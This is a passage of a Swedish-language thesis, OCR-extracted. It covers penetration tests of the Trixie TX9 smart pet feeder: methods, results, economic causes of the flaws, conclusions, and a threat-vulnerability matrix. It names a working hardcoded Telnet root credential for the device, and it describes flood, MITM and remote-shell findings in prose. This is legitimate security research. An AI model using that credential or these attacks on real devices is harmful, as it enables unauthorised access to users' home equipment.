Det har kapitlet diskuterar valda metoder och modeller, resultatet fran penetrations-
testerna och de ekonomiska orsakerna till funna sarbarheter.

11.1 Metoder och modeller

Som beskrivet i sektion 5.1 finns det olika metoder och modeller att folja vid pe-
netrationstestning. Rapporten har foljt Weidmans penetrationstestningsmetod och
Guzman et al. och Microsofts hotmodelleringsmetod, vilket resulterat i god forsta-
else for systemet och flertalet identifierade och testade hot. Metoderna valdes for att
de var tydliga, vildokumenterade och enkla att folja, vilket varderades hogt da detta
var forfattarens forsta penetrationstestningsstudie. Metoderna var heller varken for
generella eller specifika.

Rapporten har daven hamtat inspiration fran metoder och modeller som Synopsis och
Ware, som bada innefattar att skapa en hotsparbarhetsmatris. NIST, Shostack och
Arm Technology valdes bort av anledningar som att de 6verlappade varandra och
valda metoder och hade med andra ord stora likheter till varandra. Vidare var
Shostacks och Arm Technologys dokumentation mycket omfattande, vilket skulle
vara for tidskravande att studera och folja. Shostacks hotmodelleringsmetod var
dessutom framst avsedd for utvecklare och operatorer av komplex teknologi vilket
var ytterligare en anledning till varfor den valdes bort, samt for att de valda meto-
derna redan innefattade 3 av de 4 stegen (modellera systemet, identifiera hot och
adressera hot). NIST metod kunnat varit ett alternativ, men som tidigare nimnt, och
liksom for Shostack, ingick NIST:s overgripande steg redan i den valda metodologin.

Det finns alltsa flera alternativa metoder, varpa manga liknade varandra, och man
hade kunnat kombinera och anpassa dessa for studien, men i och med avgransning-
arna presenterade i sektion 1.2, forfattarens forkunskaper, KTH NSE Labs rekom-
mendationer och de tydliga och goda strukturerna pa de valda metoderna anses de
varit ratt for studien.

11.2 Penetrationstester

Den tillsynes enkla och okomplicerade foderautomaten kor ett helt OS och har ett
stort filsystem med flera langa, komplicerade program som styr foderautomatens
beteende och funktioner. Med tusentals rader kod ar det inte konstigt, kanske sna-
rare forvantat, att sarbarheter finns.

Penetrationstest 1 visade pa hur enkelt det ar for en angripare att avkoda SSID och
l6senord till anvandarens Wi-Fi, vilket i sin tur mojliggor for angriparen att utfora
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andra natverksattacker och komma at Telnet-tjansten. Upprepning av penetrations-
testet gav samma resultat och har hog tillforlitlighet.

I penetrationstest 2 gjordes en MITM-attack for att underséka om anviandarnamn
och l6senord till Tuya Smart gick att fanga upp. Trafiken kunde avlyssnas men inga
inloggningsuppgifter skickades i klartext. Vid det senare forsoket, nar Tuya Smart
hade uppdaterats till version 3.22.0, tillats inte lingre frimmande certifikat och tra-
fiken kunde inte avlyssnas i mitmproxy. Det ar oklart om mobilapplikationen vali-
derar hela kedjan men resultatet anses andock ha bade hog validitet da inga inlogg-
ningsuppgifter kunde fingas upp i nagot av testerna.

I penetrationstest 3 testades foderautomaten mot en MITM-attack dar méngden tra-
fik monitorerades for att undersoka om det gick att avgora vilket l4ge den var i. Re-
sultatet visade att det gick att avgéra om videoflodet strommade i mobilapplikat-
ionen eller inte, vilket var vantat baserat pa tidigare liknande test gjorda pa 6vervak-
ningskameror. Det finns risk for mindre avvikelser vid upprepade test med samma
metod pad grund av den manskliga faktorn, men resultatet baseras pa stora variat-
ioner i skickad dataméangd vilket gor att resultatet anda anses vara tillforlitligt. Det
finns ocksa ett stort varde i resultatet som visar pa hur smarta enheter kan anvindas
for att Overvaka anvandaren sjilv.

Foderautomaten motstod Ping of death-attacken i penetrationstest 4, vilket staimde
overens med forvantningarna. Tack vare testernas enkelhet kunde de upprepas ett
flertal ganger och gav upphov till konsekventa resultat.

I penetrationstest 5 testades foderautomatens motstandskraft mot en ICMP flood-
attack. Det ar vanligt att flertalet datorer anviands for att skicka meddelanden i en
sadan attack, men det visade sig inte behovas for att stora eller krascha enheten.
Upprepade tester gav samma utfall. Sannolikheten for en lyckad attack beriknades
till mellan, och visade sig stimma. Det ar inte undersokt om enheten ar sarbar mot
andra flodesattacker, nagot som skulle kunna undersokas i en senare studie.

Det sjitte penetrationstestet gjordes for att undersoka om det gick att fa full atkomst
till foderautomaten genom dess 6ppna Telnet-tjanst som lyssnade pa port 23. Ett
skal med root-access kunde nas med de hardkodade inloggningsuppgifterna
root/059AnkdJ. Trots att Petwant kontaktats redan 2019 har Petwant inte atgardat
sarbarheten i nyare produkter, som i Trixie Tx9 som lanserades under 2020. Inga
atgarder var heller vidtagna i den senaste firmware-uppdateringen. Att anvinda SSH
hade saklart varit sidkrare, men tjansterna ar inte alltid utbytbara. Att 4ndra losen-
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ord, inaktivera att Telnet-servern startar upp vid uppstarten eller forhindra fjarrin-
loggning av root- och adminroller 4r andra exempel pa atgarder som tillverkaren
hade kunnat implementera.

Penetrationstest 7 syftade till att hitta kinslig information eller sarbarheter i
firmwaren. Vid det har laget hade drygt halva penetrationstestningsfasen 16pt och
stora delar av den resterande tiden dgnades at att utforska filsystemet, studera an-
vindbara verktyg och analysera de binira filerna. Aven om virdefulla fynd gjordes
sa upptacktes inga direkta sarbarheter. Resultatet innebar inte att firmwaren inte
innehaller sarbarheter utan ska tolkas med forsiktighet. Pa grund av tidsbrist analy-
serades de binara filerna mycket ytligt och behover utforskas an mer for att ge till-
forlitliga resultat.

I penetrationstest 8 undersoktes foderautomatens 6ppna portar. Nar port 8000 kon-
taktades stordes systemet sa pass att videoflodet slutade stromma till mobilapplikat-
ionen. En netcat-forbindelse kunde oppnas pa systemet genom att skicka system-
kommandon till Tuya-processen som lyssnade pa port 6668. Trots det anses inte re-
sultatet vara giltigt, da det visade sig att testet for port 6668 inte var reproducerbart.
For att ta reda pa vad for data processen lyssnar efter och accepterar pa port 6668
kravs mer omfattande, metodiska tester som gidrna bygger pa narmre undersokning
av den binara Tuya-filen.

I det sista penetrationstestet undersoktes om foderautomatens firmware-uppdate-
ringen skickades over okrypterad kanal och pa sa satt kunde laddas ned eller modi-
fieras ”i luften”. Tva tester gjordes dar uppdateringen skickades over krypterad ka-
nal, vilket var vantat utifran tidigare observationer av enheten.

Det ar inte sakert att alla de funna sarbarheterna drabbar alla anvandare av Trixie
TX9, da det beror pa vilken version av mobilapplikationen och firmwaren som an-
vandaren har installerad.

Da det finns mycket kvar att utforska, inklusive hardvaran, kravs fler tester for att
besvara studiens fragestillning om Trixie TX9 ar saker mot cyberattacker.

11.3 Ekonomiska orsaker

Tuya har visat pa att de stravar efter att gora sina produkter och tjanster mer sikra
genom bland annat sitt "bug bounty program” och da de vidtagit atgarder efter of-
fentliggjorda sarbarheter, ndgot man sett efter Steigerwald hack och i mobilapplikat-
ionen Tuya Smart. Ett stort, ledande foretag som Tuya har goda ekonomiska forut-
sattningar for att investera i sikerhet. Dessutom ligger det i foretagets intresse att
framja sdker IoT for att sakra marknadsandelar och en framtida expansion, dd man



82 | DISKUSSION

sett nytillkomna lagar och férordningar runt om i virlden som ett resultat pa debat-
ten kring IoT-sdkerhet.

Petwant har inte visat sig lika angeldgna att atgarda kianda sarbarheter i sina pro-
dukter, vilket kan forklaras med att Petwant ar ett mycket mindre foretag i en ni-
schad bransch dar IoT-sidkerhet troligtvis inte ar en lonsam investering eller priori-
tering. Det saknas helt enkelt ekonomiska incitament att ta fram sdkra produkter.
Smarta djurtillbehor ar ett relativt nytt tillskott pa marknaden dar foretagen konkur-
rerar med nya funktioner, snabba lanseringar och prissattning. Husdjursdgare ma
spendera mer pengar pa sina husdjur dn nagonsin tidigare, men det ar ingen garanti
for att méalgruppen ar villig att betala mer for sakerhet som man ser att kunder
ogarna gor. En smart foderautomat kan for konsumenter upplevas harmlos eftersom
den riktar sig mot djur, och i en avvagning mellan funktionalitet och sikerhet vinner
funktionalitet.

Trixie visade stort intresse for resultatet av studien och var snabba med att planera
in atgarder for de hardkodade inloggningsuppgifterna for Telnet-tjansten. Detta, till-
sammans med att de bifogade tips pd hur man sidkrar IoT-enheter tillsammans med
enheten, visar pa att foretaget tar cybersikerhet pa allvar.
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12 Slutsatser

Ar foderautomaten Trixie TX9 siiker mot cyberattacker?

Utifran de penetrationstester, resultat och andra fynd som gjorts kan man konstatera
att enheten ar sikrare an forvantat, sarskilt utifran jamforelse med andra foderauto-
mater och 6vervakningskameror som visat sig vara vialdigt sarbara och som fortfa-
rande ar i drift eller florerar pa marknaden. Utifran de tidigare studierna presente-
rade i sektion 5 hade det inte varit forvanande om foderautomaten till exempel kom-
municerat over okrypterad kanal eller skickat kansliga data i klartext. Kommunikat-
ionen med Tuya har visat sig vara sidker, dar varken inloggningsuppgifter, videoflo-
det, MQTT-meddelanden, firmware eller annan kinsliga data gar att fanga upp nar
det skickas Over natverket. Avkodning av SSID och l6senord till Wi-Fi, ndtverkstjans-
terna och de 6ppna portarna pa enheterna, framforallt Telnet-tjansten, gor dock en-
heten sarbar mot flera olika typer av attacker.

Sammantaget ar foderautomaten Trixie TX9 relativt siker om den samtidigt ar upp-
kopplad mot ett sikert natverk, men i och med att det finns manga attackvektorer
kvar att undersoka kravs fler penetrationstester for att ge ett absolut svar pa fragan.

Forslag pa fortsatta studier inkluderar att:

. Undersoka hardvaran.

. Analysera de binira filerna for programmen som lyssnar pa de oppna portarna
samt fortsatt analys av filsystemet i stort.

. Testa systemet mot andra natverksattacker.

. Undersoka sdkerheten i mobilapplikationen.

. Undersoka om det gar att ladda upp annan firmware eller imitera Tuyas servrar
med olika program (se sektion 5.3).
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14 Bilagor

Bilaga 1 — Hotsparbarhetsmatrisen for Trixie TX9

attacker.

ID | Hotagent | Angripen | Attack Attackyta | Attack- Paverkan | Motat- Ut-

tillgang mal gird fort

1 En angri- | SSID och | MITM-at- | Wi-Fi. Fanga upp | Atkomst Sékra Sekt-
pare  pa | losenord tack. inlogg- till anvan- | krypte- ion
samma till Wi-Fi. ningsupp- | darens lo- | ringsalgo- | 7.2.1
natverk gifter till | kala nét- | ritmer for
som  vet Wi-Fi. verk. kryptering
nar en- av anvan-
heten ska darnamn
paras till och ldsen-
Wi-Fi. ord.

2 | En angri- | Foder- Portscan- | Oppna Hitta in- | Angripa- Inga ban- | Sekt-
pare  pa | automa- ning, 16- | portar och | korsportar | ren far | ners med | ion
samma ten. senordskn | natverks- | till en- | obehorig informat- | 7.2.6
natverk. acknings- | tjanster pd | heten, f& | atkomst ion om

attack. enheten. fjarrat- till syste- | natverks-
komst till | met. tjanster,
enheten. brandvag-
gar, starka
l6senord,
begransat
antal
inlogg-
ningsfor-
SOk,
stangda
portar.

3 En angri- | Foder- Fuzzing- Oppna Hitta bug- | Stora fo- | Hanterar Nej
pare  pa | automa- attack. portar och | gar  och | derauto- olika och
samma ten. natverks- sarbar- matens extrema,
natverk. tjanster pa | heter i | funkt- typer avin-

enheten. tjanster ioner, hitta | puts, au-
som lyss- | andra sér- | tentise-
nar pa | barheter ringsmek-
Ooppna por- | eller  in- | anismer,
tar och | korsportar | krypterad
som kan | till en- | kommuni-
utnyttjas heten. kation.
for andra
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En angri- | Foder- Fjarrkor- Oppna Exekvera Stora eller | Validering | Sekt-
pare  pa | automa- ning av | portar och | skadlig kontrollera | av input, | ion
samma ten. komman- | natverks- | kod, 6ppna | foderauto- | brandvig- | 7.2.8
natverk don/kod. tjanster pa | bakdorrar | matens gar, auten-
och som enheten. in till sy- | funkt- tiserings-
har kun- stemet. ioner. mekan-
skap om ismer,
vilken typ krypterad
av input de kommuni-
Oppna por- kation.
tarna ac-
cepterar.
En angri- | Wi-Fi. MITM-at- | Wi-Fi. Analysera | Overvak- Variat- Sekt-
pare  pa tack. enhetens ning av an- | ioner i tra- | ion
samma dataflode viandarens | fikflodet 7.2.3
natverk. for att ta | vanor och | maskeras.

reda  pa | hur foder-

hur en- | automa-

heten an- | tens an-

vands och | véands.

vilket till-

stand den

ari.
En angri- | Firmware. | Kodmani- | Wi-Fi. Ladda upp | Kontroll Krypterad | Nej
pare  pa pulering, skadlig over en- | kommuni-
samma spoofing. firmware hetens kation,
natverk pa enheten | funkt- firmware-
som  vet eller modi- | ioner. validering
nir anvan- fiera pa en-
daren ska firmware- heten, si-
uppdatera paketen ”i ker hérd-
sin enhet luften”. vara.
eller som
imiterar
servern
och begir
en uppda-
tering.
En angri- | Firmware. | MITM-at- | Wi-Fi. Fanga upp | Atkomst Datatrans- | Sekt-
pare  pa tack. foderauto- | till kins- | fer  Gver | ion
samma matens liga data, | krypterad | 7.2.9
natverk firmware dtkomst kanal,
som  vet nar den | till enhet- | firmware-
nar anvan- skickas i | ens filsy- | uppdate-
daren ska luften”. stem. ringar om-
uppdatera fattar end-
din enhet. ast nod-
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vandiga fi-
ler/and-
ringar.

8 En angri- | Videoflo- MITM-at- | Wi-Fi, niit- | Komma &t | Atkomst Datatrans- | Nej
pare  pa | det. tack. verkstjans- | videoflo- till video- | fer  Gver
samma ter. det som | flodet. krypterad
natverk. skickas kanal,

frin  en- krypterat
heten utan videoflode,
krav pé au- inga 6ppna
tentise- tjanster for
ring. livestrea-
ming.

9 En angri- | Anvindar- | MITM-at- | Wi-Fi. Fanga upp | Konto- Kommuni- | Sekt-
pare  pa | namn och | tack. inlogg- stold, full | kation 6ver | ion
samma 16senord ningsupp- | atkomst TLS, mo- | 7.2.2
natverk. till mobil- gifter till | till,  och | bilappli-

applikat- mobilap- kontroll kationen
ionen. plikat- over, en- | tillater
ionen. heten. endast cer-
tifikat av
betrodda
CA, sdkra
krypte-
ringsalgo-
ritmer for
kryptering
av anvan-
darnamn
och losen-
ord.

10 | En angri- | Foder- Spoofing. Wi-Fi. Imitera Full kon- | Kommuni- | Nej
pare  pa | automa- MQTT- troll 6ver | kation Gver
samma tens funkt- servern. foderauto- | krypterad
natverk. ioner. maten ge- | kanal.

nom att
kunna ta
emot/
skicka
komman-
don
till/fréan
enheten.

11 | En angri- | Mobilap- Kodmani- | Mobilap- Modifiera | Identitets- | Mobilap- Nej
pare som | plikat- pulering, plikation- | mobilap- stold, in- | plikation-
lurar an- | ionen. phising-at- | ens APK | plikation- | format- ens APK
viandaren tack. och Wi-Fi. | ens binidra | ionsstold, finns inte
att ladda filer s& att | installera | tillganglig
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ner en applikat- nya eller | pd inter-
skadlig ionens skadliga net, mobi-
version av APIL:er till- | funkt- len tillater
mobilap- later exe- | ioner. inte ned-
plikat- kvering av laddningar
ionen. fram- av  appli-
mande kationer
kod. fran tred-
jepartsbu-
tiker, mo-
bilappli-
kationen
uppticker
kodénd-
ringar vid
runtime
och  for-
hindrar att
skadlig
kod exe-
kveras.

12 | En angri- | Mobilap- Reverse Mobilap- Analysera | Informat- | Mobilap- Nej
pare som | plikat- enginee- plikation- | mobilap- ion om | plikation-
har  till- | ionen. ring. ens APK. plikation- | servrar,sy- | ens APK
gang  till ens bindra | stemets finns inte
mobilap- filer. uppbygg- tillganglig
plikation- nad och | pd inter-
ens APK. funktioner | net, killko-

och hérd- | den ar for-
kodade svérad.
hemlig-

heter

aventyras.

13 | En angri- | Foder- DoS-at- Wi-Fi. Gora syste- | Systemet Systemet Nej
pare  pd | automa- tack. met otill- | slutar fun- | tillater inte
samma tens funkt- gangligt gera. inkom-
natverk ioner. genom att mande pa-
som vet att forbruka ket i for
enheten batteriet. hog hastig-
drivs med het, drop-
en power- par frag-
bank. menterade

paket med
en data-
langd som
overskri-

der dess

MTU.
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aventyras.

14 | En angri- | Foder- DoS-at- Wi-Fi. Stora eller | Systemet Systemet Sekt-
pare  pa | automa- tack. gora syste- | slutar fun- | tilliter inte | ion
samma tens funkt- met otill- | gera. inkom- 7.2.4,
natverk. ioner. gangligt mande pa- | 7.2.5

for anvan- ket i for
daren ge- hog hastig-
nom  att het, drop-
overbe- par frag-
lasta nat- menterade
verket eller paket med
enhetens en data-
CPU. langd som
overskri-
der dess
MTU.

15 | En angri- | Mobilap- Phising-at- | Mobilap- Lasa ute | Full kon- | Tvafak- Nej
pare som | plikat- tack, 16- | plikat- anvinda- | troll Over | torsauten-
vet anvin- | ionen. senordsite | ionen. ren ur mo- | enheten, tisering,
darens an- rstall- bilappli- konto- ogiss-
vandar- nings-at- kationen. stold, otill- | ningsbara
namn till tack. gangligt aterstall-
mobilap- system. ningslan-
plikat- kar.
ionen.

16 | En angri- | Firmware. | Reverse Firmware. | Analysera | Informat- | Firmwaren | Sekt-
pare som enginee- firmware. | ion om | ar krypte- | ion
har  till- ring. servrar, sy- | rad, koden | 7.2.7
gang  till stemets ar forsva-
firmware. uppbygg- | rad.

nad och
funktioner
och hérd-
kodade
hemlig-
heter
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